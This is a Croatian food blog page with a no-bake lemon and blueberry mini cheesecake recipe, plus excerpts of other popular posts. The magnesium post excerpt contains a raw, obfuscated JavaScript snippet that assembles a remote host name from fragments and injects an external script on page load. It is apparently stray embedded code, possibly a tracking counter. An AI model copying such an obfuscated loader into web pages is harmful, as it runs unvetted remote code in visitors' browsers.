MINI CHEESECAKE U ČAŠI S LIMUNOM I BOROVNICAMA 🍋




Mini cheesecake u čaši s limunom i borovnicama 



Spoj svježeg limuna, slatkih borovnica i bogate kreme od mascarponea savršeno odgovara toplim danima, a najbolji dio je što ovaj desert ne zahtijeva pečenje. Poslužite ga u manjim staklenim čašama ili čašicama za desert, ohladite nekoliko sati i dobit ćete slasticu koja izgleda kao da dolazi iz omiljenog bistroa.





Mini cheesecake u čaši s limunom i borovnicama 



Sastojci:

Za podlogu:

  • 150 g mljevenog keksa (Digestive ili Petit Beurre)
  • 60 g otopljenog maslaca

Za kremu:

  • 250 g mascarponea
  • 200 ml slatkog vrhnja za šlag
  • 60 g šećera u prahu
  • naribana korica jednog limuna
  • 2 žlice svježe iscijeđenog limunova soka
  • 1 žličica ekstrakta vanilije

Za preljev:

  • 200 g svježih borovnica
  • 1 žlica šećera
  • 1 žlica limunova soka

Za dekoraciju:

  • svježe borovnice
  • naribana limunova korica
  • listići mente (po želji)




Priprema:

  1. Pomiješajte mljeveni keks s otopljenim maslacem dok ne dobijete teksturu mokrog pijeska. Smjesu rasporedite na dno četiri čaše i lagano utisnite žlicom.
  2. Slatko vrhnje istucite u čvrsti šlag. U drugoj zdjeli sjedinite mascarpone, šećer u prahu, limunovu koricu, limunov sok i vaniliju pa kratko izmiksajte dok smjesa ne postane glatka. Zatim špatulom nježno umiješajte šlag.
  3. Borovnice stavite u manji lončić zajedno sa šećerom i limunovim sokom. Kuhajte pet do sedam minuta na laganoj vatri, dok voće ne omekša i lagano se zgusne. Ostavite da se potpuno ohladi.
  4. U svaku čašu rasporedite sloj kreme, zatim dio preljeva od borovnica, pa po želji dodajte još jedan sloj kreme. Desert stavite u hladnjak na najmanje sat vremena kako bi se svi okusi povezali.
  5. Prije posluživanja ukrasite svježim borovnicama, naribanom limunovom koricom i listićima mente. Poslužite dobro ohlađeno.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više